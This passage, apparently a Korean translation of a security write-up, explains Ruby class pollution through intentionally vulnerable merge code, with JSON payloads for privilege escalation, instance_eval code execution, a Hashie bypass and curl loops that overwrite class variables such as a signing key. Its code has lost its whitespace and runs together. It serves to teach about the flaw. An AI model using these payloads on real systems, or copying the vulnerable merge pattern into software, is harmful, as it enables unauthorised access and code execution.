# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html# Comments added to exploit the merge on attributesrequire'json'# Base class for both Admin and Regular usersclassPersonattr_accessor :name, :age, :detailsdefinitialize(name:, age:, details:)@name = name@age = age@details = detailsend# Method to merge additional data into the objectdefmerge_with(additional)recursive_merge(self, additional)end# Authorize based on the `to_s` method resultdefauthorizeif to_s =="Admin"puts"Access granted: #{@name} is an admin."elseputs"Access denied: #{@name} is not an admin."endend# Health check that executes all protected methods using `instance_eval`defhealth_checkprotected_methods().each do|method|instance_eval(method.to_s)endendprivate# VULNERABLE FUNCTION that can be abused to merge attributesdefrecursive_merge(original, additional, current_obj= original)additional.each do|key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object =Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginalendprotecteddefcheck_cpuputs"CPU check passed."enddefcheck_memoryputs"Memory check passed."endend# Admin class inherits from PersonclassAdmin<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)enddefto_s"Admin"endend# Regular user class inherits from PersonclassUser<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)enddefto_s"User"endendclassJSONMergerAppdefself.run(json_input)additional_object =JSON.parse(json_input)# Instantiate a regular useruser =User.new(name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}})# Perform a recursive merge, which could override methodsuser.merge_with(additional_object)# Authorize the user (privilege escalation vulnerability)# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'user.authorize# Execute health check (RCE vulnerability)# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'user.health_checkendendifARGV.length !=1puts"Usage: ruby class_pollution.rb 'JSON_STRING'"exitendjson_input =ARGV[0]JSONMergerApp.run(json_input)
설명
권한 상승: authorize 메서드는 to_s가 "Admin"을 반환하는지 확인합니다. JSON을 통해 새로운 to_s 속성을 주입함으로써 공격자는 to_s 메서드가 "Admin"을 반환하게 만들어 무단 권한을 부여할 수 있습니다.
원격 코드 실행: health_check에서 instance_eval은 protected_methods에 나열된 메서드를 실행합니다. 공격자가 사용자 정의 메서드 이름(예: "puts 1")을 주입하면, instance_eval이 이를 실행하여 **원격 코드 실행(RCE)**로 이어질 수 있습니다.
이는 해당 속성의 문자열 값을 실행하는 취약한 eval 명령어가 있기 때문에만 가능합니다.
영향 제한: 이 취약점은 개별 인스턴스에만 영향을 미치며, 다른 User 및 Admin 인스턴스에는 영향을 주지 않아, 악용 범위를 제한합니다.
실제 사례
ActiveSupport의 deep_merge
기본적으로 취약하지 않지만 다음과 같은 것으로 취약하게 만들 수 있습니다:
# Method to merge additional data into the object using ActiveSupport deep_mergedefmerge_with(other_object)merged_hash = to_h.deep_merge(other_object)merged_hash.each do|key, value|self.class.attr_accessor keyinstance_variable_set("@#{key}", value)endselfend
Hashie의 deep_merge
Hashie의 deep_merge 메서드는 일반 해시가 아닌 객체 속성에서 직접 작동합니다. 이는 예외가 있는 병합에서 속성으로 메서드의 교체를 방지합니다: _, !, 또는 ?로 끝나는 속성은 여전히 객체에 병합될 수 있습니다.
특별한 경우로는 속성 **_**가 있습니다. 단순히 _는 일반적으로 Mash 객체를 반환하는 속성입니다. 그리고 이것이 예외의 일부이기 때문에 수정할 수 있습니다.
다음 예제를 확인하세요. {"_": "Admin"}를 전달함으로써 _.to_s == "Admin"을 우회할 수 있습니다:
require'json'require'hashie'# Base class for both Admin and Regular usersclassPerson<Hashie::Mash# Method to merge additional data into the object using hashiedefmerge_with(other_object)deep_merge!(other_object)selfend# Authorize based on to_sdefauthorizeif _.to_s =="Admin"puts"Access granted: #{@name} is an admin."elseputs"Access denied: #{@name} is not an admin."endendend# Admin class inherits from PersonclassAdmin<Persondefto_s"Admin"endend# Regular user class inherits from PersonclassUser<Persondefto_s"User"endendclassJSONMergerAppdefself.run(json_input)additional_object =JSON.parse(json_input)# Instantiate a regular useruser =User.new({name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}}})# Perform a deep merge, which could override methodsuser.merge_with(additional_object)# Authorize the user (privilege escalation vulnerability)# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'user.authorizeendendifARGV.length !=1puts"Usage: ruby hashie.rb 'JSON_STRING'"exitendjson_input =ARGV[0]JSONMergerApp.run(json_input)
클래스를 오염시키기
다음 예제에서는 Person 클래스와 Person 클래스를 상속받는 Admin 및 Regular 클래스를 찾을 수 있습니다. 또한 **KeySigner**라는 다른 클래스도 있습니다:
require'json'require'sinatra/base'require'net/http'# Base class for both Admin and Regular usersclassPerson@@url ="http://default-url.com"attr_accessor :name, :age, :detailsdefinitialize(name:, age:, details:)@name = name@age = age@details = detailsenddefself.url@@urlend# Method to merge additional data into the objectdefmerge_with(additional)recursive_merge(self, additional)endprivate# Recursive merge to modify instance variablesdefrecursive_merge(original, additional, current_obj= original)additional.each do|key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object =Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginalendendclassUser<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)endend# A class created to simulate signing with a key, to be infected with the third gadgetclassKeySigner@@signing_key ="default-signing-key"defself.signing_key@@signing_keyenddefsign(signing_key, data)"#{data}-signed-with-#{signing_key}"endendclassJSONMergerApp<Sinatra::Base# POST /merge - Infects class variables using JSON inputpost '/merge'docontent_type :jsonjson_input =JSON.parse(request.body.read)user =User.new(name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}})user.merge_with(json_input){ status: 'merged' }.to_jsonend# GET /launch-curl-command - Activates the first gadgetget '/launch-curl-command'docontent_type :json# This gadget makes an HTTP request to the URL stored in the User classifPerson.respond_to?(:url)url =Person.urlresponse =Net::HTTP.get_response(URI(url)){ status: 'HTTP request made', url: url, response_body: response.body }.to_jsonelse{ status: 'Failed to access URL variable' }.to_jsonendend# Curl command to infect User class URL:# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySignerget '/sign_with_subclass_key'docontent_type :json# This gadget signs data using the signing key stored in KeySigner classsigner =KeySigner.newsigned_data = signer.sign(KeySigner.signing_key,"data-to-sign"){ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_jsonend# Curl command to infect KeySigner signing key (run in a loop until successful):# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done# GET /check-infected-vars - Check if all variables have been infectedget '/check-infected-vars'docontent_type :json{user_url: Person.url,signing_key: KeySigner.signing_key}.to_jsonendrun! if app_file == $0end
for i in {1..1000}; docurl-XPOST-H"Content-Type: application/json"-d'{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}'http://localhost:4567/merge--silent>/dev/null; done
정의된 클래스를 무차별 대입하여 KeySigner 클래스를 오염시키고 signing_key의 값을 injected-signing-key로 수정할 수 있습니다.\